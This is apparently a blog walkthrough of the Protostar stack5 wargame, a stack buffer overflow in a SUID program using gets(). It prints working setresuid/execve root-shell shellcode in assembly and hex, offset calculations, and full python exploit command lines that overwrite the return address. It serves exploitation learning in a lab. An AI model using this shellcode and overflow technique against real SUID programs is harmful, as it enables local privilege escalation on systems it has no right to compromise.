Level description

#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); }

Intro

This one took me a whole day to solve, not because it was hard but because there are a couple of things to look for and without which the exploit won’t run as expected. I will try to show my flow of thoughts while solving this one because I think it is important to see how easily mistakes are made just by overlooking some details. The code for this task is the simplest one yet. Another thing I did was connecting the Protostar VM with Kali VM in Host-Only mode and using SSH from Kali to connect to the Protostar VM. I did that just for the sake of simplicity because every time I logged into Protostar VM I had to change my keyboard layout.

Solution

I started by finding out the memory addresses of the buffer array and the return address using GDB in the same way as in the previous levels:

buffer@0xbffffc90 *

ret@0xbffffcdc *

Again, the difference between the two addresses is 0x4c or 76 bytes, meaning that we need to fill up the buffer’s 64 bytes and additional 12 bytes after that to get to the return address. Because this time there are no checks or a clear goal that we need to get to (like the printf() or win() functions in previous examples), we have a hint to use someone else’s payload shellcode. As I stated somewhere before, this blog is about learning and not just writing a solution so I will still explain how to write a trivial shellcode example and show how to extract raw bytes we need for our payload.

First we need to define what do we want our shellcode to do. Well, as our vulnerable program has its SUID bit set, we can try and open the shell as root, but because the /bin/sh does not have its SUID bit set, it will open in user mode and not as root. If we go back to the Nebula series of exercises, we can remember that for SUID programs to run another program as root, we first need to change our user ID to match the root one while in the program that is run as root. To be sure, I decided to use the function setresuid(). After we become root, we need to spawn the shell by using execve(). There is a webpage that lists all Linux function calls with their respective numbers: http://syscalls.kernelgrok.com. This site even lists what content must go to which register.

Our shellcode:

[section .text] global _start _start: ; sys_setresuid(0, 0, 0) mov eax, 0xa4 xor ebx, ebx xor ecx, ecx xor edx, edx int 0x80 ; sys_execve("/bin//sh", *"/bin//sh", 0x00000000) push 0x00000000 ; string terminator push 0x68732f2f ; //sh push 0x6e69622f ; /bin mov ebx, esp ; first argument - address of string "/bin//sh\0" xor eax, eax mov ecx, eax ; second argument - by convention should be "/bin//sh\0" but we don't care mov edx, eax ; third argument - also 0x00000000 mov eax, 0xb ; system call int 0x80 ; exit xor eax, eax mov al, 0x1 int 0x80

For system calls to work we need to store the expected values in respective registers. For the first system call we first load up the registers with zeroes and put the code of the system call in the EAX register. We do that because the “int 0x80” (which means interrupt with code 0x80) expects the system call code to be in the EAX register. More about “int ” from Stackoverflow: “int means interrupt, and the number 0x80 is the interrupt number. An interrupt transfers the program flow to whomever is handling that interrupt, which is interrupt 0x80 in this case. In Linux, 0x80 interrupt handler is the kernel, and is used to make system calls to the kernel by other programs.”.

As for the second system call ( the sys_execve() syscall), first we load the code for this system call into EAX, then we set up a NULL terminated string on the stack and put its address into the EBX register (EBX expects a pointer to string, which is just the starting address of the string). Note that the hex numbers we push onto the stack are in reverse order because of the little-endian byte order. The second argument expects a pointer to a pointer to a string which is a little bit trickier to achieve. By convention the second argument (which goes into ECX) should be set to the name of the running program but we don’t care about conventions here so we’ll just NULL it out, same goes for the third argument in EDX. Finally, in the end there is just an exit call.

The code is saved into a “.asm” file and compiled using these commands (Kali comes with preinstalled NASM assembler):

nasm -f elf filename.asm ld -o outputfile filename.asm

I wont explain what each command does in detail because it’s out of the scope of this writeup, but the first one is used to get the object file from our source code and the second one is used to get the executable file (working program) from the object file. Next thing we need to do is extract the “meat”, the bytes that actually do what we want from our assembled shellcode. For this part we will need just the output of the first command for assembling our source file (we will need the object file). After a bit of googling I found an easy and acceptable way to do it using bash and objdump:

echo for i in $(objdump -d my_shellcode.o -M intel | grep “^ ” | cut -f2); do echo -n ‘\x’$i; done;​

Our shellcode looks like this:

\xb8\xa4\x00\x00\x00\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x89\xc1\x89\xc2\xb8\x0b\x00\x00\x00\xcd\x80\x31\xc0\xb0\x01\xcd\x80

So now that we have our shellcode in a string format we can save it somewhere and we can finally get to the exploitation part. We have our addresses and we have our shellcode, next thing to do is craft the exploit. Let’s visualize our stack when inside the main function:

What we want is to overwrite the RET (return address) with our own custom address where the shellcode will begin. Here is some information that we can get:

Number of bytes from the buffer to the return address: 0xbffffcdc – 0xbffffc90 = 0x4c or 76 bytes

Buffer size is 64 bytes

There are 76 – 64 – 4 = 16 junk bytes and 4 bytes for the base pointer

Our shellcode size is 46 bytes

Our shellcode size is 46 bytes so it can fit into our buffer without problems. Well, we know the address of our buffer and we know the offset to RET so we should be able to craft an exploit which looks like this:

(python -c ‘print “\x90″*30+”\xb8\xa4\x00\x00\x00\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x89\xc1\x89\xc2\xb8\x0b\x00\x00\x00\xcd\x80\x31\xc0\xb0\x01\xcd\x80” + “\x90\xfc\xff\xbf”‘;cat) | /opt/protostar/bin/stack5

This code should be able to exploit our vulnerability by first writing 30 NOP bytes (also called NOP slide) to the beginning of our buffer and then writing the shellcode immediately after and at the end rewriting the RET address with our calculated buffer address.

After we execute the code we get:

A segmentation fault? But we did everything right? Let’s debug the code:

The return address is marked with red. As we can see everything seems OK, the address is overwritten with what we want and the buffer address starts with some NOP-s and slides to our shellcode. So why this doesn’t work?! If you noticed at the beginning of this writeup, there are two red asterisks after the buffer and return addresses. They are there to indicate that the addresses found using GDB are NOT THE SAME addresses as the ones when the program is normally run from the shell. One reason for this is because GDB inserts some other environment variables on the stack and that results in offset from our calculated values. Another thing that affects the offset is the way the file is run, there is a difference between running it with absolute or relative paths. GDB allows us to unset the variables we don’t need so we can do “show env” to print all the environment variables from GDB and when we find ones we want to unset, we can simply do:

unset env LINES

unset env COLUMNS

In fact, the addresses calculated at the beginning of this writeup were calculated when those two environment variables weren’t set but I still couldn’t make my exploit to work, despite starting it with an absolute path (the same way GDB starts it). There must be something else that makes everything move on the stack. After a day of googling I found out that this could be avoided by calculating the addresses directly from the Core Dump when the program crashes. Even though I successfully made my program crash, it didn’t do a core dump, it only reported a “Segmentation Fault” error. Even after setting the “ulimit -c unlimited” option which would allow me to dump arbitrarily large core-dumps I couldn’t get the crash generate a core dump. Another few minutes of googling showed that some settings were needed to be set by a root user and I considered that cheating so I wanted to find some other way to exploit this. **(later I found a way to do it like explained here – with shellcode inside our buffer)

Another way around (and even simpler one) was found! Instead of writing the shellcode directly into the buffer, why don’t we just fill the buffer and overflow it until we overwrite the return address and insert shellcode immediately after? This way we don’t have to worry if our shellcode will be too big and overwrite our return address with its own code. If we try to do that instead, we get:

The address of 0xbffffd00 is calculated as follows: We add 4 bytes to the RET address which is 0xbffffcdc and get 0xbffffce0, and then add some more bytes so we are sure we are in the NOP sled section which will lead us to our shellcode. Another thing to note is the appended “;cat” command. This is needed because our shellcode-spawned shell and our own shell (from which the program is called) share the same standard input, and because the pipe will feed the first command’s output (our exploit using python) to our program (stack5) as input, when all the shellcode is sent it will just exit, leaving our shellcode-shell without an input to read from. Because of this we need to use the cat trick. Cat on its own just redirects standard input to standard output so by adding cat command after python’s print we just make everything python outputs look like it came from standard input (like we entered it manually by hand).

** Another solution **: After some more researching, I found out a way to solve this level by inserting shellcode into the buffer and not after the return address. If we look at the disassembled code (disassemble it with GDB), we can see that after the EAX register is loaded with our buffer’s address, it is not altered until end of the program. This means that if we find a way to jump to EAX, we don’t have to bother about hardcoding the buffer’s address because the EAX will know where it lays in memory. Because ASLR is not used and because we can use GDB to see arbitrary function’s addresses and because NX is disabled (which means we can execute code in any segment we want), if we’re lucky enough we can find an arbitrary address at which the “call eax” or “jmp eax” instructions are located. Using “objdump -d stack5 -M intel” ” we can see that 0x0804846b is such an address. If we overwrite the return address with this addres, our exploit should be able to work. Our exploit code now looks like this:

(python -c ‘print “\xb8\xa4\x00\x00\x00\x31\xdb\x31\xc9\x31\xd2\xcd\x80\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x89\xc1\x89\xc2\xb8\x0b\x00\x00\x00\xcd\x80\x31\xc0\xb0\x01\xcd\x80” + “a”*30 + “\x6b\x84\x04\x08″‘;cat) | /opt/protostar/bin/stack5

And voila! It finally works the way I wanted it to work!

This is finally it, thanks for reading!